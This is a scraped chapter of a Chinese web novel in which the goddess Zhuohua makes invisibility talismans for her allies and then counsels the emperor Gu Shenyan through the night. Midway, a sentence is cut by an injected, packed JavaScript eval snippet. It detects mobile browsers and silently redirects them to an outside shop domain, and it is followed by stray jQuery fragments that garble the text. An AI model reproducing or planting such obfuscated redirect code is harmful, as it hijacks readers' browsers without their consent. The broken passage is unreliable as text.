跟顾慎言去一趟秘境,虽说没看到鹊奴,更不知道鹊奴被关在哪里,但灼华不是一点收获也没有的。
最前面的那个道长驱散迷雾时用的符咒,灼华看到了,而且对那种东西很是熟悉——那分明就是自己和始神,还有周宜共同创造的。
就像抱槐石台上篆刻的古老字迹一样,只不过那石台上只刻了寥寥几个字,这个门派似乎懂得要多得多。
其实,善恶分界不是从周宜诞生后立马出现的,还是有那么一小段的时间,她们三位各自相安无事的。
那时,因为太过无聊,再加上每个人的法力深厚到怎么也挥霍不完,几位就开始滥用法力,甚至创造出了蕴含力量的文字。
简单来说,就是创造出的每个字都注入了巨大的法力,以至于只要模仿画出字形,就能因此获得效用。
后来万物生灵逐渐萌发,她们三位并没设防,更心怀善意的两位,甚至还向异族传授了字的用法,为此造成了一场巨大的浩劫,当时的生灵几乎全部洇灭……
再往后,这种字咒就成了尘封在历史中的秘密,别说凡人,就连灼华自己都忘了很久。
作为创造出那种东西的人,只要想起一点,那所有的记忆就都回来了。
这对灼华来说无疑是个大好消息,因为用这种字咒,根本不需要动用自己的法力。唯一美中不足的,就是这些字咒并不完善,当初创立是为了好玩,所谓的狠招杀招根本没有几个……
灼华心中叹了一口气,罢了罢了,有总比没有强。
而在当下,就有一个特别适用的字咒。
“能帮我拿点纸笔来吗?”灼华看向周宜,后者立刻行动。
拿来普通的纸墨后,周宜又问有没有别的讲究,因为看起来灼华像是在筹谋什么。
“不用,就这些普通的就好。”她说。
其实只要伴着小部分法力,别说普通纸笔,就是凌空书画也能起到作用,只不过灼华现在不能动用法术,这才要借由纸笔发力。
翁楚灵和周宜凑上前看,行笔流畅,字迹狂狷,可怎么看都觉得那不像是字呢?
更像是倾泻而下的几道水痕,还是毫无规律的那种……
灼华却相当满意,还凑近吹了吹。
没等字迹干透,那稍微泛黄的纸张就在三人面前消失了。
接着,灼华跟变戏法一样,朝原处伸手一抹,纸张再次出现,上面的墨迹也被抹花了。
师兄妹二人瞪大了眼睛,看看彼此,又默契地坐在灼华左右两边,问她这是怎么办到的。
灼华才将字咒的事情吐露一二,对于自己很信任的翁楚灵和周宜,她其实还是有所保留——方才的隐身字咒,其实她多添了几笔无用之处。
不为别的,当初始神和周宜因为传授字咒闯下大祸,也是遭到了雷击天谴的。
灼华可不想重蹈他们的覆辙,所以要杜绝一切可能传播字咒的可能,哪怕身旁的是周宜和翁楚灵,她也不得不防。
“还有这么神奇的东西!真是长见识了。”翁楚灵拿着纸张左看右看,快称得上是爱不释手了。
周宜想法更深远一些,他问:“是不是要借由这个咒术,让我们去到处探查呢?”
灼华点头。
她们现在其实只有一个目的:那就是找到鹊奴,当然顺便也要帮红姑的忙。不论为了哪个,都得在这上层宫殿层层搜寻。
如果顺利的话,灼华当然也不想把事情闹大,她只想掳走一个鹊奴,救回贺晴的母亲,自然也不想跟整个门派宣战。
可成了凡人后,她最深刻的认知就是:永远都会有变故,哪怕计划的再缜密。
索性现在她也就不想那么多了,能简单成事那更好,不能的话那就只有采取强硬手段了。
“不过这么大的地方,也不是一寸一寸找起的,现在最重要的,是找到帮我恢复身体的方法。”灼华解释道。
这点师兄妹二人都同意。
翁楚灵也是一点就通,她立刻提议,自己和师兄兵分两路,去搜寻那三座特别的阁楼。
灼华眼眸微动,心中有了计较。
“到时候字咒就贴身放着,一直会起效的。”
她顿了顿,接着计划:“楚灵,你就去妖族的阁楼吧;周宜的话,去天界那里。”
翁楚灵只顾着应声,没有察觉到异样,周宜则是立刻心生困惑。
“其实最有可能的,不该是那栋魔楼吗?”他问。
周宜对自己太过了解,灼华知道藏不住,干脆也没准备藏了,她随声附和周宜。
“道理是这个道理,可那天我去魔楼的时候看了,里面没什么异端,也没有什么有用的东西。”
“再说,我们魔界向来是一条路走到黑的,主攻修炼,从来没有什么疗愈休憩之法,没收获也是正常的。”
为了打消眼前人的顾虑,灼华几乎是能解释的都解释了,已经是尽善尽美了。
可有的时候,太过圆满也是一种瑕疵。在周宜眼里,灼华何时解释这么详细过?就好像,她藏着猫腻一样……
周宜倒是不怕灼华伤害自己,他只是担心这人又在铤而走险,背着自己做些危险的事情,明明几乎已经互通心事了,为什么就不能相信自己呢?
可临了,他还是决定不深究此事,毕竟正事要紧,暂且就当自己多想了吧。
过了一会儿,灼华就给她们做好了各自的隐身字咒。
字咒简单,只不过她又在外面加了一层包裹的外衣,为的就是不让里边的字咒损毁,尽量保师兄妹二人平安。
在灼华教两人一些注意事项的时候,红姑也从外面回来了。
翁楚灵把这里的事情大致讲了讲,又把属于红姑的那几份字咒交给她。一切处理妥当后,正巧顾慎言派人来找灼华,她就离开了。
今晚,灼华一定要陪着顾慎言。
初次行动万一有何差池,她得在顾慎言这里为自己人兜底。
转眼间,已是夜半三更。
顾慎言接灼华回来,就是想一起吃晚饭的,当然也暗藏了不想她跟朋友过夜的心思。只不过让他没想到的是,今晚的灼华压根没着急走。
“困吗?要是想睡的话,就先去那里休息休息吧。”
顾慎言说着,朝不远处扬了扬下巴。
自己在这里翻看奏折,灼华就坐在旁边,单手端着脸,看着自己不知道在想什么。
此情此景,让他很是满足。
被唤回神来的灼华眨了眨眼,捂着嘴打了个哈欠,可立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774760|204641||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻又摇了摇头。
“今夜你怕是睡不着了,我们还是在这儿闲聊吧。”
他父皇起死回生之夜,顾慎言当然睡不着。
再者说,灼华也是真警惕,她又担心周宜他们那边的情况,还得时刻提防自己被谋害……
周宜为此闹了不止一次,灼华虽然不全然清楚,但也知道孤男寡女待在一起,可能会有不好的事情发生,睡过去以后,那真是任人宰割了,所以得保持清醒。
想到这里灼华才发现,只有在自己的朋友身边、只有周宜陪在旁边,她才能安然入睡。信任不知从何时出现,现在已经是无可撼动的了。
顾慎言当然感动,在他看来,这就是跟他同甘共苦的有情人啊!
怜惜自然是怜惜的,只不过他也清楚灼华柔中要强的性格,她做的决定,几乎没人能撼动。
“辛苦你了,要不要我让人送点羹汤来?晚饭的时候,你好像很喜欢。”
吃东西自然是好的,可灼华经周宜点拨才明白,自己吃饭的时候也经常是不设防的,眼下有更重要的事情要谈,饭还是缓一缓的好。
“不了,还不是太饿。”
前不久,灼华就想过要弥补顾慎言,很快她也想出了方法——用他一段真心实意的感情换取再延续王朝统治近百年。这场买卖,他应该可以接受。
神总是要有一些过人之处的,灼华的直觉异常灵敏,放在凡人身上,那就是未卜先知的能力。可以说,在见到顾慎言第一眼的时候,她就几乎已经预知了此人的将来。
独木难支倾覆的大厦,他会成为整个朝代最后一位皇帝。
而这,也成了灼华回报他的契机。
灼华现在能做的,就是尽量在今晚的对话中埋下诸多伏笔,当他将来经历抉择的时候,能为他指点迷津,以期延续王朝。
起先,顾慎言都没察觉到话题在一步步走歪,直到意识到言谈已经涉及政论时,他不得不对眼前的人刮目相看。
一个女子怎么会这么懂朝政?而且她的观点和抉择太过契合自己的现状……甚至说,有些地方,顾慎言想不明白为什么要那样。
渐渐地,谈话变成了问答。顾慎言记得灼华提出的每个见解,不清楚的地方,他还会请灼华解答。
经此一晚,他受益匪浅。
虽然不知道此人是不是有意的,可她的字字句句,异常契合当朝的各种问题。顾慎言想,毫不夸张地说这些见解、谋略,真能挽救渐渐败落的现状。
不知何时,外面已是大亮。
两人走到屋外散步,借着天光,顾慎言深深望着灼华。
哪怕不想,他也不得不承认,自己对她的感情好像发生了变化,从爱恋变成了敬仰……不知怎的,他突然好像变成了让自己高山仰止的存在。
“真真是受教了,姑娘真是有纵横天下之谋略!”
顾慎言毫不吝啬夸奖,想跟平时一样伸手去牵灼华,心中却升起一股异样,感觉像是对隐世高人的一种亵渎……
坏了,抱着这样的心思,自己还怎么跟她成婚呢?顾慎言心中凄然。
不过很快,他也理清了答案:那就心怀敬佩去仰望此人,不染指就是。
救国救家的恩情,才是真正的永生难报。